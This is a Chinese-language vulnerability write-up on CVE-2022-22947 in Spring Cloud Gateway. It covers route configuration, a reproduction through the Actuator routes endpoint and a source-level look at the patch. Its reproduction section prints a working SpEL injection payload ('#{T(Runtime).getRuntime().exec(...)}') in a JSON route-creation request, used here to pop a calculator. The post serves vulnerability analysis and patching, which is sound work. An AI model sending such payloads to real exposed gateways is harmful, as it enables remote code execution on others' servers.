SpringCloud Gateway 漏洞分析 (CVE-2022-22947)

9eek發表於2022-05-07

背景

SpringCloud 是Spring提供的微服務實現框架,其中包含閘道器、配置中心和註冊中心等內容,閘道器的第一代實現為zuul,第二代實現為Gateway,提供了更好的效能和特性。

閘道器可以提供統一的流量控制和訪問控制等功能,一般放在客戶端請求的入口或作為nginx的直接上游如下圖。

image-20220429155954555

Gateway 使用

Gateway配置可以使用兩種方式:

  1. yml或者properties 固定配置
  2. 通過actuator外掛動態新增

作為一個閘道器最主要的功能就是路由功能,而路由的規則由Route、Predicate、Filter 三部分組成。

image-20220507104614874

image-20220505104043194

  • Spring Cloud Gateway < 3.1.1
  • Spring Cloud Gateway < 3.0.7

實操

yml固定配置方式

  1. 首先在idea中新建spring專案,pom中引入spring-cloud-starter-gateway依賴(一般使用引入starter即可,這裡單獨指定含漏洞的自動配置底層包)
        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-starter-gateway</artifactId>
        </dependency>
<!--        有漏洞底層包版本-->
        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-gateway-server</artifactId>
            <version>3.1.0</version>
        </dependency>
  1. 在application.yml或者application.properties中新建以下配置:
spring:
  application:
    name: GatewatDemo

  cloud:
    gateway:
      routes:
        - id: "router1"
          uri: "http://127.0.0.1:9223/"
          predicates:
            - Path=/
          filters:
            - AddResponseHeader=Result,1

配置含義: 新建了一個id為router1 的路由,規則為當請求的路徑為/時,將請求轉發給http://127.0.0.1:9223 (predicates)並給響應增加一個頭Result值為1(filter)。

本地起一個9223服務,觀察能否轉發。啟動專案,轉發成功。這就是一個閘道器基本的功能。

image-20220507102935696

動態配置

除了通過配置檔案寫死的方式,Gateway也支援通過Actuator(spring 監控元件)動態配置路由。

  1. pom中新引入spring-boot-starter-actuator
 <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-actuator</artifactId>
 </dependency>
  1. 配置檔案( Spring Boot 2.x 後為了安全起見預設只開放/actuator/health和/actuator/info端點),開啟gateway監控
management:
  endpoint:
    gateway:
      enabled: true

  endpoints:
    web:
      exposure:
        include: gateway
  1. 重啟應用,訪問http://localhost:8080/actuator/gateway/routes,出現下面頁面則表示配置成功。

image-20220507105819030

  1. 使用actuator動態建立路由,使用post請求傳送以下內容到http://127.0.0.1:8080/actuator/gateway/routes/router2
{
  "id": "router2",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "2"
    }
  }],
  "uri": "http://127.0.0.1:9224",
   "predicate": "/9224"
}

含義和第一種類似,不過轉發路徑變成了9224.

  1. 請求http://127.0.0.1:8080/actuator/gateway/refresh 應用配置
  2. 請求頁面,頁面404,這事因為9224的後端服務沒有/9224這個端點所以是404,但有請求記錄,證明轉發成功。

image-20220507110931016

image-20220507111534660

  1. 為了使請求正常,所以配置新增一項重寫path
{
  "id": "router2",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "2"
    }
    
  },{
        "name":"RewritePath",
        "args":{
            "_genkey_0":"/9224",
            "_genkey_1":"/"
        }
    }],
  "uri": "http://127.0.0.1:9224",
  "predicate": "/9224"
}
  1. 重新訪問,頁面正常

image-20220507142144779

漏洞復現

其實這個漏洞本身是一個SpEL注入,我們嘗試在之前的yml配置檔案中使用SpEL表示式,我們將filter中的AddResponseHeader 值改為#{1+1}

spring:
  application:
    name: GatewatDemo

  cloud:
    gateway:
      routes:
        - id: "router1"
          uri: "http://127.0.0.1:9223/"
          predicates:
            - Path=/
          filters:
            - AddResponseHeader=Result,#{1+1}

檢視返回頭,表示式被成功執行:

image-20220507143056451

將表示式替換成惡意的SpEL表示式即可觸發RCE,#{T(Runtime).getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")}

image-20220507143534185

雖然這個地方確實存在SpEL注入,但卻很難利用,因為攻擊者很難控制目標機器的配置檔案,所以利用條件就變成了有沒有開啟Actuator,且Actuator開啟了gateway功能沒有配置spring security。

使用動態建立的方法試試。

使用以下payload請求建立路由:

{
  "id": "router2",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{T(Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')}"
    }
    
  },{
        "name":"RewritePath",
        "args":{
            "_genkey_0":"/9224",
            "_genkey_1":"/"
        }
    }],
  "uri": "http://127.0.0.1:9224",
  "predicate": "/9224"
}

重新整理路由,發現程式碼成功執行。

image-20220507143938777

原理分析

我們開啟spring-cloud-gateway的官網,發現SpEL原本是官方提供的一個引用bean的功能。

image-20220507144939000

我們對exec執行下個斷點,觀察程式的呼叫棧。

image-20220507145345080

前面一堆是Reactor的邏輯,因為是非同步非阻塞的方式,所以閱讀起來有一定門檻。

簡單來說,就是當我們請求/actuator/gateway/routes/refresh時會去呼叫註冊在reactor 中的方法,然後請求org.springframework.cloud.gateway.actuate 包中的refresh()方法

image-20220507153931678

後續會將application的上下文傳入gateway的邏輯,在處理Filter的邏輯中會對屬性欄位進行normalizeProperties 操作:

image-20220507155358468

image-20220507155439784

具體邏輯會放入normalize中進行處理,其中第一個引數即為我們自己配置的filter處理邏輯

image-20220507155545353

第三個引數為SpEL的parse。

image-20220507155616750

隨後進入ShorcutType中的normalize進行處理,解析key、value進入並將value傳入getValue():

image-20220507160354738

在getValue中對字串進行trim操作,同時判斷字串以#{開始並以}結束:

image-20220507160818186

如果滿足條件則進入SpEL進行解析,可以看到這裡導致能夠RCE的原因,使用了StandardEvaluationContext 作為context, 隨後對配置檔案的value進行標準SpEL解析。

image-20220507160957542

到這裡就基本理解了漏洞觸發的原因

補丁分析

在2月17號,開發者提交了在org.springframework.cloud.gateway.support#ShortcutConfigurable使用自定義Context方式替換原來的StanderdContext

image-20220507161928282

自定義的Context增加了Spring的BeanFactory類,從而能實現對Spinrg IOC容器 bean的引用。

image-20220507161959120

image-20220507162124643

修復後新版本執行會報錯:

image-20220507165954933

總結

漏洞影響版本:

  • Spring Cloud Gateway < 3.1.1
  • Spring Cloud Gateway < 3.0.7

基本上和SpringCloud Functions 一樣是個SpEL注入的漏洞,只不過在閘道器的場景出現,需要應用暴露actuator,有一定前置條件。

引用

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947

https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/

https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator

公眾號

歡迎大家關注我的公眾號,這裡有乾貨滿滿的硬核安全知識,和我一起學起來吧!

相關文章